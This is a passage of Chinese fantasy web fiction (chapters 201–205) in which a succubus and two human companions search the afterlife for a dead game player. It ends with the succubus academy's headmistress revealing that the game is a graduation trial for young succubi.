还有更多长着奇形怪状的角或翅膀或其他诡异奇怪的肢体的, 叫不出名字的生物,在酒馆里聊天或吃饭。 穿着黑色袍子, 裹得严严实实的人也从之芙变成了他们。 “人类几乎不会在地狱出现。”之芙说, “因为很少见, 有些地狱生物比较害怕人类, 也有些生物太喜欢或太讨厌人类, 所以还是伪装一下的好。” 司苍敏锐地意识到了她话语里的漏洞:“你说是来找白飞烟的,人死后就会来到地狱吗?” 之芙点了点头。 “如果人死后就会来到地狱,为什么你又说‘人类几乎不会在地狱里出现’?” “那不一样。”之芙说, “虽然地狱的大家都是灵魂, 但据我所知, 人类也不常跟其他种族来往。人类即使死了也很排外……” “不信你找个人问问。”之芙说着, 状若随意地跟邻桌的恶魔答话,“你说对吧?人类是不是很排外?” “哈哈, 那当然。”那个恶魔看了之芙一眼,笑着开口,“不过今时不同往日咯。” “什么?”之芙惊讶地问, “这跟我知道的不一样。这里有人类吗?” 恶魔摇了摇头:“谁说不是呢?你要是问这里有没有人类,这里倒是没有。不过嘛……不久之前地狱里来了一个奇奇怪怪的人类,她跟一群人类一起在地狱里搞了个什么人类居住区,还经常跟我们往来、交换物资。” 之芙面露惊讶:“奇怪的人类?你见过她吗?” 那恶魔笑了一声:“谁没见过呢?那个人类现在在地狱可有名了。她看起来是个死得很早的人类女性,长得比矮人还壮,叫王雪,听说有些人类叫她前辈或者01号。” 此言一出,司苍和方寄南的表情都变得复杂微妙了起来。 之芙也觉得这个名字和号码有些眼熟,只是一时半会想不起来。 她跟恶魔道了声谢:“你知道那个人类现在在哪里吗?” “你找她?”恶魔挑眉问。 “好奇。”之芙半真半假地糊弄,“我还没见过这么厉害的人类呢。” “在她之前我也没见过。”恶魔压低了声音说,“你想见她也容易,看到那边了吗?”它向之芙示意,就在酒馆的不远处,有一座围起来的庄园。 庄园的最中心是几栋木制的小房子,外面似乎开垦有田地,田地最外面围着棕色的篱笆,如果不是知道自己此刻身在何处,会产生一种仿佛在美丽悠闲的田园之中的错觉。 “喏,那边就人类的居住区了。”恶魔说着也有点感叹的意思,“原本那边就是一片荒地,谁知道那群人类怎么做到的,这才多久,就弄得这么漂亮!有点像是人类社会的样子了,真新鲜啊。你去过人类社会吗?” “没有呢。所以我们也想去看看。”之芙道了声谢,闲聊几句又主动买单请对方喝了酒,带着司苍方寄南准备离开。走之前,方寄南却忽然拉住兜帽遮着脸,压着声音问:“请问那个人类是什么时候来到地狱的?” “哦,你说那个很厉害的女人啊。”恶魔乐呵呵地想了一会儿,“大概是一年前吧,记不太清楚了。” “我知道了,谢谢。”方寄南的声音听起来异常沙哑,却像是松了口气。 司苍也轻轻叹了口气,拢住了兜帽。 三人走出酒馆,之芙看看方寄南又看看司苍,疑惑地问:“那个叫王雪的……你们认识?”不然从何解释他们的态度? 司苍和方寄南对视一眼,方寄南低声解释道:“我——我们认识一个叫王雪的人,和那个恶魔的描述很像。她……你应该也认识。” 他顿了顿:“01号,你还记得吗?疗养院计划最早的那位玩家,也是疗养院计划的创始人之一,你们一起吃过饭的。” 之芙这才恍然。 司苍补充说:“时间也对得上,王雪离开的时间差不多也是一年之前。” 之芙立刻对那位叫王雪的玩家产生了好奇——她曾经见过对方,就像方寄南所说的那样一起吃个饭,只不过那时对方认识她,她却不认识对方。而且方寄南说过,01号玩家曾经说‘她是特殊的孩子,是不一样的’,难道那个时候王雪就猜出自己身份不一般? “在这里猜测没有意义,不如现在就去看看。也不知道白飞烟在不在那里……” 顺着好心恶魔给他们指的路,三人踏上了前往庄园的路。 但很快,他们发现自己面临着一个问题——该怎么抵达庄园。 那座属于人类的庄园离酒馆并不远——至少表面上看起来是这样。就像那个恶魔指的一样,从酒馆出来,无需寻找,他们直接就能看到庄园的轮廓,更幸运的是,他们朝着庄园的方向走,一路上都没有遇到什么障碍或不长眼的异世界生物。 但问题是……当他们走到路的尽头,眼见着离庄园不过几百米的地方的时候,他们才骤然发现,眼前是一片悬崖。 是的,诡异的又违反常理的,在两块土地的中间,没有任何征兆的,骤然出现了一道深不见底的深渊。 他们过不去。 200-205 第201章 去地狱 “我没有在这里见过白飞烟。”…… 遥遥地, 他们眺望着深渊对面那座庄园。 “肯定有办法过去。”司苍想了想说,“酒馆里的恶魔说庄园里的人会跟他们交流交易,互通有无, 这代表着他们肯定有办法通行。” 方寄南也看了一会:“……会是什么机关吗?” 之芙蹲在他们身边,欲言又止, 但最后还是什么都没有说, 看着司苍和方寄南在深渊旁边一通折腾——竟然还真叫他们找到了机关,是一块不起眼的石头。 挪开石头,深渊里传来轰隆隆的巨响, 从深不见底的黑色中缓慢浮上由一块又一块大石头连接成的桥梁。 但这并不代表他们就可以轻松到达庄园。石块之间的间隔极大, 虽然石块之间也能看到明显是人类顶上去的,用于连接和移动的麻绳, 但脚下就是无底深渊, 一不留神就会跌落深渊——他们肯定不会想知道底下是什么的。 司苍思考了一会儿, 很快决定:“我先过去看看, 你和之芙留在这里。这里离庄园不远, 或许庄园里的人知道更安全的路。” 一直沉默的之芙这会儿终于有些忍不住了。她说:“先等等。” 在两人困惑的目光望向她的时候,之芙朝他们勾了勾手。“过来。” 两人虽然疑惑,但依旧乖乖地走过去, 然后—— 之芙一手抱住了一个。 司苍和方寄南:“?!” 两个男人可比之芙要高多了, 而且他们俩都不是那种文弱的人, 常年训练和健身练出了一身薄肌让他们不仅比之芙高一个头, 身形也远远比她高壮。 但之芙——魅魔大人可有得是力气和手段。 下一秒,两人就感觉到身体一轻, 双脚缓慢地离地…… 之芙抱着他俩,一手扛一个,轻松地跳上了一块大石头, 仿佛她扛起的不是加在一起三百多斤重的两个大男人,而是两根轻飘飘的羽毛,步伐也像鸟一样轻盈—— 两人愣神了片刻,忽然意识到,不是‘像鸟一样轻盈’,而是……之芙真的有翅膀。 头顶盖下一片黑色的阴影,巨大的翅膀扇动着卷起一阵风,在之芙跳跃间提供拉伸和降落的力度。 两人张着嘴半晌,才说出话来:“你……有翅膀?!” 这完全是只会出现在传说中的东西。巨大的,蒙着一层薄薄的黑色皮翼的骨翅在她身后展开,遮天蔽日一般笼罩住他们的头顶。 “捏的。”之芙淡定地说,“魅魔的能力之一,只能用一会儿。不信你们碰一下试试。” 方寄南不敢置信地伸出手,触碰那只翅膀——触感像是轻飘飘的棉花似的。 靠着之芙的能力,他们很快就到了庄园外,几乎没花什么时间。 无所不能的魅魔大人收起了翅膀,伸了个懒腰,走向庄园的方向。 从篱笆外往里看去,里面种满了说不出名字的花和树。一个女人正弯着腰、扎着袖子的林地间穿梭着,神态悠闲。 只是打眼一看,之芙却感觉无比熟悉——身边的司苍和方寄南更是直接愣在了原地。 好半晌,方寄南从嗓子里挤出一句:“王姐……” 花丛里的女人瞬间抬头,然后愣住了。 “方……寄南?”她不可置信地喃喃,声音却清晰地传入了他们的耳朵里。女人的表情有些犹豫,“不会吧?你也死了?难道你也进入游戏了吗?” 方寄南:“……” 好不容易酝酿起来的悲伤情绪和久别重逢的欣喜瞬间被一句话打破,方寄南没好气地回复:“没呢王姐,我活得好好的。” 他揭下斗篷,身旁的司苍也摘掉了斗篷,对着王雪点头示意。 王雪把手里的东西一放,快速地奔了过来,对着方寄南和司苍就是一顿上下打量:“司先生怎么也在这里?他也……?” “……”司苍无奈而又礼貌地说,“01号女士,我很好,暂时还没有死。” “噗。”旁边的之芙被他一本正经又有些无奈的样子逗笑了。 王雪欲言又止的表情在看到之芙的那一刻顿住了:“之芙?你怎么也在这里?” “您认识我。”之芙并不意外,不过这在她的印象里,是她第一次正式跟王雪见面,“这件事……说来有些话长,简单来说,是我把他们带到这里来的。” 王雪眨了眨眼。 “嗯……你们在这里应该已经见过一些生物了吧?恶魔什么的……”之芙斟酌了一下,决定长话短说。 “哦,你说那些生物?”王雪恍然大悟,笑道,“一开始可把我吓了一跳,这里跟我们老家说好的地狱似乎不太一样。”——看来她已经很融入这个世界了,把人类社会称作老家,看情况了也并不排斥这个死后的世界,这是一件好事。 “不过呢,我觉得这里比老家好多了。”王雪又笑着说,“之芙,你不是人类吧?” 之芙愣了一下,没想到她通过三言两句就能猜出来,实在是敏锐:“您怎么知道?” “很难说。”王雪说,“我第一次在老家见到你的时候,就觉得你跟普通人很不一样。特别是你进入游戏之后,我就更觉出你的特殊——只是当时也没有想太多。是来了这里之后,发现世界远比我们人类想象的要宽阔丰富,才能猜到的。” 她顿了顿,又笑着问:“不过,我还不知道你是什么?” 之芙说:“我是恶魔。呃,更准确来说,我是我是恶魔的亚种,用你们的话来说我是魅魔。” 王雪露出一个恍然大悟的表情。 之芙又说:“我知道您已经离开人类世界,本来不应该来打扰异世界的灵魂的生活,但我们是来找人的。” “找谁?”王雪有些不解。 “……白飞烟。”之芙说,“就是03号玩家。” “你认识他?” “我跟他一起进过游戏。”之芙说,“就在昨天。”言下之意已经不言而喻。 “白飞烟吗?……可是。”王雪面露惊讶,轻轻地说,“我没有见过他。” “他好像没有来这里。” 第202章 去地狱 闻言,之芙挑起了眉毛。 …… 闻言, 之芙挑起了眉毛。 白飞烟不在这里,那他会在哪里? “据我所知,人类死后都会到地狱里来。”之芙说。 “……先进来坐吧。”王雪沉思了一会儿, 低声说着招呼他们进门,“我也不是很清楚。这里的生物不太待见人类, 除去日常的往来, 他们不会跟我们闲聊,更不让我们打探消息。你说这里是地狱?天啊,我还以为这里是天堂。” 她顿了顿又说:“在人类的传说里, 人死后会去天堂或地狱。所以有没有可能白飞烟不在这里, 是去那个天堂了?” “……没有那种东西。如果按你们人类的说法把天使生活的地方叫做天堂的话,即使是天使, 死后也会来到地狱。”之芙说, “准确来说这里也不叫地狱, 只不过用这个词更方便你们理解罢了。这里是所有灵魂的栖息之地, 在完成了一生的旅程之后, 所有人都会回到这里。” 说话间他们已经走进了小屋内,屋子里还有几个人,见到王雪之后随口跟她招呼:“王姐回来了?” 但他们随意的表情和语调, 在看到跟在王雪身后的方寄南和司苍之后都变成了惊愕:“寄南哥!司苍哥!你们……你们怎么来了?!” 看表情也都是熟人。 方寄南和司苍对视一眼, 在之芙的允许下把情况大概解释了一下。 “白哥?”听说他们是来找白飞烟的之后, 屋里的几个人也很惊讶, “我们没有见到他。” 不仅惊讶,他们还有些伤心:“我们还以为白哥能再撑一段时间呢, 唉……不过也没什么不好的,现实世界有那个怪游戏,还不如这里轻松。” 之芙问:“你们真的没有见过白飞烟吗?” 几个人把脑袋点得像筛糠。 “那就奇怪了。”之芙沉思, “一般来说只要是死去的灵魂都会回到这里。这里这里有什么中转站之类的地方吗?” “有倒是有,但那里有我们的人看着。只要是人类,一来到这里就会被带过来。”王雪说。 她接着解释,这个地方很混乱,算是个无人管的混乱地带。最开始她来到这个世界的时候,这里几乎没有人类的容身之处,所有的生物都很排挤人类,甚至有不少种族把人类当奴隶或者宠物看。王雪来到这里之后联系上了原本生活在这里的人类组成了同盟,这才能让大家安顿下来。 得益于在现实中管理疗养院的经验,他们现在生活得很好,也和其他生物有了往来。 他们也派人在这个世界的中转站守着,遇到人类就会带到这里来,以免发生之前那样的人类被其他生物带走当奴隶宠物的事。 之芙看向了司苍和方寄南。 两人都非常肯定,白飞烟已经死了。他退出游戏后在疗养院里因抢救无效死亡,两人都见证了这一幕。 所以现在最大的可能就是……白飞烟还在中转站,甚至可能是被其他生物带走了——这就是最坏的可能性了。 之芙立刻下定决心:“带我们去中转站看看吧。” …… 中转站其实只是人类对于一块地区的称呼,只是来的这个世界的灵魂的一个必经之地,前面说过,这里是个三不管地带,所以自然也没什么引导或管理措施,本质上只是一片混乱的荒地。 有些来到这里的灵魂会在这里等待自己的亲友的到来,但更多的是对新灵魂垂涎欲滴的别有用心之人。 有些生物会守在这里,见到刚来到这里的、迷茫的新灵魂,就会用各种方法和手段诱骗它们。 荒地非常大,人员也复杂混乱,好在王雪他们在这里有了自己的势力,之芙他们不至于大海捞针。 王雪带他们来到中转站之后,先是询问了守在中转站的人,得知他们并没有见过白飞烟之后,又托人去询问关系比较好的恶魔和矮人。 不多时,对方带回来一条消息。 “有个恶魔说自己好像看到了一个人类,被另外一群恶魔带着离开了。” “好像?”王雪皱着眉头问。 “那个恶魔也不太确定。”传消息的人说,“它只是大概地看了一眼,感觉好像是人类,但不太确定,所以也没有通知我们。” “它看到的人长什么样?”之芙连忙追问。 “嗯……它说是一个男人,长得还挺高的……哦对了,它还给了我一个画像!”传话的人掏出一副画在树叶上的简笔画,寥寥几笔画得十分潦草,但却能从五官的神韵里看出熟悉的影子。 在场的四人对视一眼,不约而同地从对方的眼里看到了同一个答案——是白飞烟! 之芙立刻抓住那人问:“它知不知道这个人去哪里了?这个人就是我们要找的人!他跟谁走了?是被迫的吗?” 传信人抓抓脑袋:“只知道是一群恶魔,但这里太乱了,具体也不知道是谁,我再去打听一下……?” 之芙点点头,传信人正要走,忽然上下打量起之芙。 之芙的心里忽然浮现出不好的预感:“怎么了?” “没什么,就是……”传信的人腼腆地笑了笑,说,“恶魔说它没有看清对面的脸,不过它说对面几个恶魔都是女性恶魔,都穿着一身黑色的长裙,头上戴着黑纱遮脸,胸前挂着一朵火红色的花。” 之芙目瞪口呆,几乎感觉头晕目眩。这个描述,除了魅魔学院的魅魔之外……不会再有其他人。 她顿了顿又问:“白飞烟是被那群魅魔带走的吗?” 传信人又挠了挠脑袋:“……不是吧。它说,那个人类看起来像是自愿跟她们离开的。所以当时那个恶魔没告诉我们这件事。” “……我知道了。”之芙说,“不用问了,我知道对面是谁了。” “是谁?”王雪好奇地问。 “……”之芙又叹了口气,“我的家人。” 王雪目瞪口呆:“你?你的家人把白飞烟带走了?这是什么大小姐父母警告黄毛的戏码吗?” 之芙只能苦笑:“谁知道呢?” 第203章 去地狱 他们现在还不知道为什么白…… 他们现在还不知道为什么白飞烟会自愿跟那群魅魔离开, 但找人这件事肯定是宜早不宜迟,越早找到白飞烟越好。 王雪想办法联系了熟悉的朋友,让他们去找找那群魅魔带着白飞烟去了哪里。 把人送走, 王雪看向之芙,有些好奇地问:“你们魅魔对人类是什么态度?态度好吗?” 这很关键, 决定了白飞烟在那群魅魔手里是什么情况, 是安然无恙呢,还是被虐待打骂甚至被吃掉。 之芙深吸一口气:“你好像误会了什么……我们魅魔不是那种凶残的种族。”如果仅从人身安全的角度出发,魅魔甚至算得上无害。这也是为什么魅魔们都要伪装成其他种族, 混进其他族群的社会里去的原因之一。 “白飞烟不会有事的……大概吧。”之芙想了想说, “既然那群魅魔绑架了他,肯定有所求。她们不会轻易伤害白飞烟的。再说了, 白飞烟和她们之间唯一的联系是我, 就算看在我的面子上——她们也不会对白飞烟怎么样的。” ——看在她的面子上。之芙说得理所当然, 让王雪不由得侧目。 她正想问什么, 忽然注意到, 之芙嘴上跟她说着话,目光却漫无目的地望向远方,她有些心不在焉, 表情也露出几分茫然。 “之芙?”她轻声问。 “……怎么了?”之芙愣了一下才回神。“你说什么?” “没什么。”王雪跟方寄南和司苍交换了一个眼神。“只是看你心不在焉的……有心事?” 之芙张了张嘴, 吐出一个字:“……没。” 方寄南轻笑了一下, 在她身边坐下:“真的没有吗?” 之芙抓了抓脑袋。 方寄南说:“别急, 让我猜猜吧。你在想什么?是跟校长有关吗?” 之芙:“……” 之芙有点震惊了,方寄南是怎么看出来的? 但她顿了一下, 蒙着头嘴硬:“没有。” “……”方寄南轻轻地叹了口气,“好吧,是我好奇。你和校长是什么关系?听你的学妹说, 你和她关系很亲密。嗯,你知道的,在我们人类世界,一般普通学生不会跟校长关系那么好。” “……那你们人类世界里,普通学生和校长是什么关系?”之芙闷声闷气地问。 方寄南悠悠地道:“一般来说,普通学生连校长的名字都不太关心。当然了,校长也是这样,校长可能很关心自己的学生,但不会特别关照某一个学生。” “……呼。”之芙长长地叹了口气,“好吧,确实很不一样。我和校长,与其说是学生和校长的关系,不如说是收养人和被收养人的关系吧……” 魅魔和世界上大部分的种族不一样,魅魔是亲缘关系很淡的族群,没有父母这个概念。年幼的魅魔在降生后,就会被送到学院,在学院里学习生存的知识和规则。但即使是这样,大部分魅魔仍然有属于自己的、可以联系的家人——虽然大部分魅魔直到死去也不会和自己的亲朋好友互相联系就是了。 即使在这么特殊的族群里,之芙也是最特殊的那一个。她不是被自己的父母送到学校的,她是被校长捡回学校的,一只落单的魅魔。 之芙在牙牙学语的时候,就已经会攥着那个把自己捡回学校的女人的手,让她抱自己了。 大概因为这一层关系,校长也时常关心她、纵容她、对她关照异常。 魅魔会有母爱吗?答案大概是否定的。在离开学院去往人类世界之前,之芙甚至都不知道世界上居然还有‘母爱’这个词,魅魔的语言体系里根本就没有这种东西。 但校长对她是什么感情?在观察了人类社会里人类的相处模式之后,之芙却很难不用那个,魅魔语言体系里没有的词语来做答案。 “她给我的感觉就像是……”之芙沉默了一会儿,低声说,“司妈妈。” 司妈妈是她对于人类女性的第一个印象,就像校长是她对于魅魔的第一个印象一样。她们是一种模板,一种令人不由自主去观察、探究和模仿的模板。 之芙说:“我观察过司妈妈跟司苍的相处模式,嗯……” 司苍问:“……所以?你得出了什么结论?” 之芙慢慢地说:“我觉得我和校长比你和司妈妈更像母女。” 司苍:“……” 方寄南和王雪同时爆发出一声大笑。方寄南说:“你说得对,因为他是男人。还是放过他这个不善于表达感情的普通人类吧。” “总之我和校长的关系就是这样。”之芙说。 司苍想了想,说:“你跟我们说过,校长卡了你的毕业申请……为什么?” 这个问题之芙已经被问烦了。更何况她自己也很想知道:“我也想知道啊。” “好吧,我换一种方法问。”司苍说,“校长卡了你的毕业申请,你生气吗?” “当然!”之芙说。“如果我不生气为什么要跑到人类世界去?虽然我自己也想去啦……” 司苍又问:“那你偷跑去人类世界,校长生气吗?” “当然。”之芙有些不耐烦,“不是都听那些学妹说了吗,校长很生气……” 司苍点点头,说:“所以你不想见她,是因为你害怕她生气?你不敢见她?” “……”他说得太直白,连方寄南和王雪都微微侧目,生怕之芙恼羞成怒,猛地跳起来揍人。 但之芙没有。她沉默了好一会儿,才说:“我不怕她生气。” “我……就是……”她抓了抓自己的头发,又沉默了一会儿,才轻声说,“我不知道该怎么面对她。我……我不知道她为什么不让我毕业。我已经是优秀毕业生了!她接连打回我的毕业申请,说没有讨厌过她,肯定是假的。但我不知道她有没有什么……隐情。要是真有什么隐情也该跟我说吧?我又不是小孩子了。” “嗯……”司苍说,“所以你对她的感情很复杂。你有点讨厌她,但你更想在她面前做个懂事的孩子,是吗?” “我可没有说后面这句话!”之芙争辩。 “嗯。”司苍无视了她的嘴硬,说,“所以你偷溜到人类社会之后,觉得自己做了错事,不知道该怎么面对她。” “……那也情有可原吧!”之芙说,“是她先让我不能毕业的,这怎么能叫错事呢?如果她不卡我的毕业,我早就去人类社会了!” “……”方寄南拍了拍她的肩膀,“我也觉得你说得对。” 王雪在旁边听了几嗓子,搞清楚情况之后也觉得之芙做得没错:“不离开难道一直等着对方大发慈悲让自己毕业吗?命运还是握在自己手里的好。” 司苍摇了摇头:“我不是那个意思。我只是在想……” “想什么?” “嗯,我只是在想,你做得很对。打破僵局,才有可能知道真相。就像现在,我觉得说不定你很快就能知道校长卡你毕业申请的原因了。” 之芙狐疑。 司苍说:“你觉得,白飞烟为什么要跟那群魅魔离开?” “你是说……” “无论是白飞烟跟那群魅魔离开的原因,还是那群魅魔绑架他的原因,都只有可能是因为你。”不然为什么在这里有这么多的游戏玩家她们一个也不看,只带走了白飞烟?白飞烟跟他们唯一的区别只有他接触过之芙。 “她们绑架白飞烟是因为你,而你身上唯一可称为问题的,只有……校长。” 不多时,王雪的联络人回来传话,她们打听到了魅魔在这里的落脚点。 之芙重新穿上黑裙,拉上斗篷:“走吧。” 该去找白飞烟了。 “找到白飞烟,就能得知这一切的答案了吧?” 第204章 去地狱 魅魔们在这里的暂居地在地…… 魅魔们在这里的暂居地在地图的角落。有着联络员的带领, 她们很快找到了对方的营地——荒野上的帐篷群。 抵达暂居地外围的时候,夕阳已经缓缓地落下山坡,只余下金黄的余晖洒满大地。 “消息说那群魅魔把他带到了帐篷里后就离开了, 似乎是单独关押。之后就再也没有人进过帐篷……她们像是在等待什么人。” 方寄南思忖道:“难道是在等之芙?” “不可能吧。”之芙说,“她们说, 白飞烟在来到这里的时候就被带走了——但我们是第二天凌晨才到魅魔学院, 甚至是第二天中午才来到这里的。那个时候我还在人类世界躲着,谁能想到我会来这里?” 几人面面相觑,谁也不知道那群恶魔的葫芦里卖的什么药。 “白飞烟应该知道什么。”之芙想了想说, “他可是游戏玩家, 收集信息的能力绝对不会差。” 总之,现在他们的任务就是找到白飞烟。 但是——该怎么混进去?众人看向了不远处的帐篷堆。 …… 半个小时后, 之芙低着头, 从帐篷堆的边缘混了进去。 她穿着魅魔学院的制服, 又披着斗篷, 把兜帽往下一拉, 即使是遇到其他魅魔,也只会以为她是个比较内向腼腆的普通学妹。 “我先混进去……太好了,现在是晚上, 没什么人。”之芙握着胸前的挂坠, 低声跟那一头的三人交流。“魅魔不是喜欢热闹的种族, 现在营地里大概没什么人。” 托魅魔们的习惯的福, 他们的计划简直顺利得不可思议。之芙很顺利地就潜入了位于营地中心的帐篷——帐篷外看不到一个守卫,就像她们完全没有想过会有人来劫走白飞烟一样。 之芙更加确定这其中肯定有什么不为人知的蹊跷——至少她们肯定不是在用白飞烟钓自己, 这真不知道该松一口气还是该提心吊胆好。 “帐篷外面没有人。”之芙低声跟方寄南他们报消息,“那我就先进去了……” “小心。”司苍的声音也从吊坠里传出来,有些凝重, “你知道确定帐篷外没有人?真的没有埋伏什么的吗?” “真的。”之芙再次谨慎地环顾四周,确认周围真的没有任何一个人——一个魅魔,也没有什么埋伏或陷阱,“好了不用担心,我先进去看看情况。” 她拢好斗篷,掀开帐篷帘,从侧面的缝隙里钻了进去。 帐篷内光线昏暗,之芙谨慎地躲在黑暗中扫视一圈——这是一个在魅魔世界很常见的随行帐篷,外貌看起来有点像人类世界的蒙古包,里面几乎什么都没有,只有几张毯子。 毯子上坐着一个人,背影让之芙感到很熟悉。她轻声问:“白飞烟?” 一阵窸窸窣窣的声音,下一秒,毯子上的人转过头来:“……之芙?” 借着昏暗的光线,之芙看清了对方的脸——真的是白飞烟! 他坐在毯子上,转身的动作露出了他被绑住的手和脚,但看他的表情,他似乎对之芙出现在这里这件事并不惊讶。 “这里没有人。”白飞烟轻声说,“放心吧,魅魔们不太管我,她们说让我在这里等人,有人要见我。” 之芙顿了顿:“你知道她们是魅魔?” “她们说漏嘴,被我听到了。”白飞烟侧过脸看着之芙,还跟以往一样笑眯眯地,仿佛什么事情都没有发生过似的,“你不来帮我解开这个吗?” 之芙盯着他好半天,走过去把他身上的绳子解开:“你看起来一点也不惊讶,你知道我会出现在这里?” “……真的看起来一点也不惊讶吗?”白飞烟嘟囔着问,“还是有一点的吧。不过,在来到这个世界的时候,在看到那群魅魔的时候,我就想,你会不会也来到这里。” 之芙给他解绑的手顿了顿:“什么意思?我还没问你呢,所以你为什么要跟那群魅魔走?” “嗯……”白飞烟拖长了语调,直到之芙把他身上的绳索解开,坐在他身边,他才说,“我当时来到这个世界的时候看到了那些魅魔,我想她们可能在等我——她们立刻注意到了我。当然,我也立刻注意到了她们。我注意到,她们穿着黑色的长袍,胸前戴着一枚火红色的花朵项链。” 他顿了顿。看向之芙:“我见过你穿这样的裙子。一模一样的……裙子和项链。当时我就想,这裙子看起来像是什么制式统一的制服。” 之芙目瞪口呆:“什么时候?我从来没有……”她从来没有在白飞烟面前穿过学院的制服,更准确地说,在她决定好在司宅住下的时候,就把这件衣服收进了衣柜的深处,按理来说除了司家人应该没有人见过才对。 白飞烟露出了微微有些抱歉的表情:“抱歉,我不是故意要看的。只是,你刚进入游戏的时候,疗养院正在准备你的房间和游戏计划。我在你的档案上看到了你的照片……司苍说,那是你刚到司家的时候拍的。” 之芙:“……”之芙有点想起来了。当时司苍他们以为之芙是被拐卖或走丢的小女孩,拍了她的照片去报警来着。那个时候她还没有决定留在司家,所以当然穿着学院的制服——在其他世界穿着学院的制服,代表这个魅魔还没有找到容身之所,需要其他魅魔的帮助。 “所以我猜,你和她们是……呃,怎么说来着?是一伙人?不过,我确实没有想到,你居然是魅魔。”白飞烟说。 “消息说你是自愿跟她们走的……所以就是因为这个?因为她们穿着跟我一样的衣服?” 白飞烟老老实实地点头。 之芙有点气笑了:“你刚来到这个世界,什么都不知道,就敢跟她们走?”如果白飞烟知道王雪她们在这里,肯定不会这样莽撞。 白飞烟“呃”了一声,大概是发现之芙面色不虞,有些讨好地道:“我是游戏玩家嘛,什么大风大浪没见过,我有自信能跑掉。而且当时她们已经看到我了,与其四处乱跑,倒不如主动出击……” 之芙再次:“……” “你知道这里是哪里吗?” “她们跟我说了,这里是人死后会回到的地方,是所有灵魂的归所。” 之芙说:“所以你有没有想过……王雪她们也在这里?” 白飞烟一怔。 “她们现在就在外面。”之芙快速地说,“我不管你想要做什么,现在跟着我离开这里,你就安全了。” “可是……”白飞烟表情有些奇怪。 “可是什么?” “你不想知道她们想做什么吗?”白飞烟说,“那群魅魔告诉我,有人想要见我。你不好奇那个人是谁吗?” 说不好奇是不可能的。但之芙也清楚,白飞烟作为一个人类,呆在这里绝对不安全。她已经见到他死在自己面前一次了,她清楚自己绝对不想再见到第二次。 “好奇,但你现在很危险,我必须要把你带出去。王雪她们都在这里,有什么事不能从长计议呢?” “……可能还真不能。”白飞烟说,“我觉得,这可能就是我们最好的时机——你不想知道游戏的真相吗?” “什么?”之芙一愣。 “你不觉得奇怪吗?”白飞烟反问,“我是在游戏里死亡的。我在游戏里死亡后,疗养院的医生负责抢救了我——其实那只是象征性的抢救而已。我在离开游戏的那一瞬间就已经死了。 但是……在我到达这个世界的时候,那群魅魔已经等候多时了。 如果她们与这个游戏毫无关联的话,她们是怎么得知我的死亡时间,甚至在那之前——就已经等在这里了呢?” 之芙张了张嘴,哑然失声。 “你记得我跟你说过的一句话吗?”白飞烟又问。 之芙沉思了一会儿,却完全想不起来白飞烟跟自己说过什么话:“什么话?” 白飞烟还没回答,吊坠里传来司苍沉稳冷静的声音:“是在上一个游戏里那句?你对之芙说……‘应付这个游戏你总是游刃有余,就像这个游戏是为你量身定做的那样。’” 之芙想起白飞烟确实说过这话,只是……这句话难道不是调侃吗? “所以在看到那群魅魔的时候我就在想,这个游戏,应该跟她们——也跟你有关吧?” “……”简直难以想象他是怎么仅仅靠这些线索,就得出这么多推断的——逻辑又如此严密,让之芙无法反驳。 白飞烟笑着,眼睛微弯:“所以,你真的不好奇那个想要见我的人是谁吗?他可能很快就来了。” 之芙想了想,正想说什么,帐篷外却忽然传来了脚步声。 之芙一把拽住白飞烟,正想把他往外面推,却见白飞烟对她笑了一下:“他来了。你真的不想知道这个游戏跟你有什么关系吗?” “……我想知道。”之芙一边说,一边把白飞烟从地上拽起来,推着他往帐篷侧面她钻进来的缝隙里走。“但是,是我想知道。” 之芙脱下斗篷,不由分说地盖在了白飞烟的身上。 白飞烟只感觉到眼前一黑,待他手忙脚乱地掀起头上的兜帽时,却见一个跟他长得一模一样的人站在他面前—— “你在这里等我。”面前那个跟他长得一模一样的人发出了之芙的声音,“别担心,魅魔的小手段罢了。幻术这门课我可是高分毕业。” 说罢,她转身走进了帐篷里,捡起落在地毯上的绳子快速地绑在自己手上,复原成原来的样子。 她刚刚做好伪装,下一秒,帐篷的门帘被人从外面掀开了。 一个高大的身影,背着光走了进来。 第205章 去地狱 “……要我们跟着……您…… “……要我们跟着……您一个人吗?” 门外传来隐隐约约的声响, 听不太清晰。之芙低着头,看着地上高大的影子。 “不必了,让我独自去吧。”温柔而慈祥的声音从前方响起, 之芙身体一僵。“人多了会显得不真诚,不是吗?他只是一个人类, 亲爱的, 在这种情况下我们应该展现自己的诚意。” “好吧……”帐篷外模糊的人影褪去了,高大的身影走到她的面前。 “好孩子,你感觉怎么样?”对方顿了顿, 对她关切地道。 “……”之芙以沉默回答。如果对方真的像她表现出来得那么为白飞烟着想, 为什么要捆着他? 对方却对她的沉默丝毫不恼,温和地道:“真抱歉, 让你久等了, 其实我们也不想这样, 但却不得不这样做, 你是个聪明的孩子, 你什么都猜到了,所以我不得不请你来聊一聊,我们对你没有恶意, 希望你原谅我们的鲁莽。先自我介绍一下吧, 或许你已经知道了, 我也是一只魅魔, 你可以叫我……校长。” 之芙抬起头——那张再熟悉不过的脸就这样映入眼帘。 校长温和地笑了笑:“我知道你,你叫白飞烟, 对吧?我看过你的那些游戏,算得上了解你。我想这应该有利于我们之间的交流。” 之芙压着声音开口:“但我还不了解你。” 校长道:“我只是一只普通的魅魔。或许你知道魅魔学院吗?我只是这个学院的校长,负责培养这些孩子们而已。” 她倒是坦然, 也简单地介绍了一些有关学院的事,没有藏着掖着。之芙更加确信,白飞烟的猜测是真的,校长……她真的跟游戏有关系。 之芙深吸了一口气,说出了白飞烟的猜测:“您找我是有什么事吗?跟游戏有关?” 校长也似乎愣了一下,随即她的笑容里多了些真心实意:“我果然没有看错,你是个聪明的孩子。” 之芙的心情有些复杂,默默地扭过了头。 校长没有注意到她复杂的心情,接着道:“既然你都猜到了,我也不多跟你绕圈子了。你们人类是不是都喜欢开门见山?那我就直说了。 你猜得没有错,你进入的那个游戏,确实与我有关——更准确地说,是跟我们这些魅魔有关。” 之芙:“……”她感觉自己似乎并没有包含着这个“我们”里。为什么她什么都不知道? “那个游戏,是你们魅魔的游戏?”她主动开口问。 “是的。”校长点了点头,也没有隐瞒,“更准确来说,那个游戏,嗯……算是年轻魅魔们的试炼场吧。你们人类是不是有一种叫做‘实习’的东西?这个游戏对于魅魔来说,就是这种东西。 魅魔们会在毕业之前进入游戏,而游戏会伪造出她所申请的、目标种族和社会的模样。 申请毕业的魅魔必须通过游戏,才能获准毕业,进入其他种族的社会。” 之芙愣在原地——可是为什么她从来没有听说过这个游戏?难道这跟她连续三次的延毕有关? 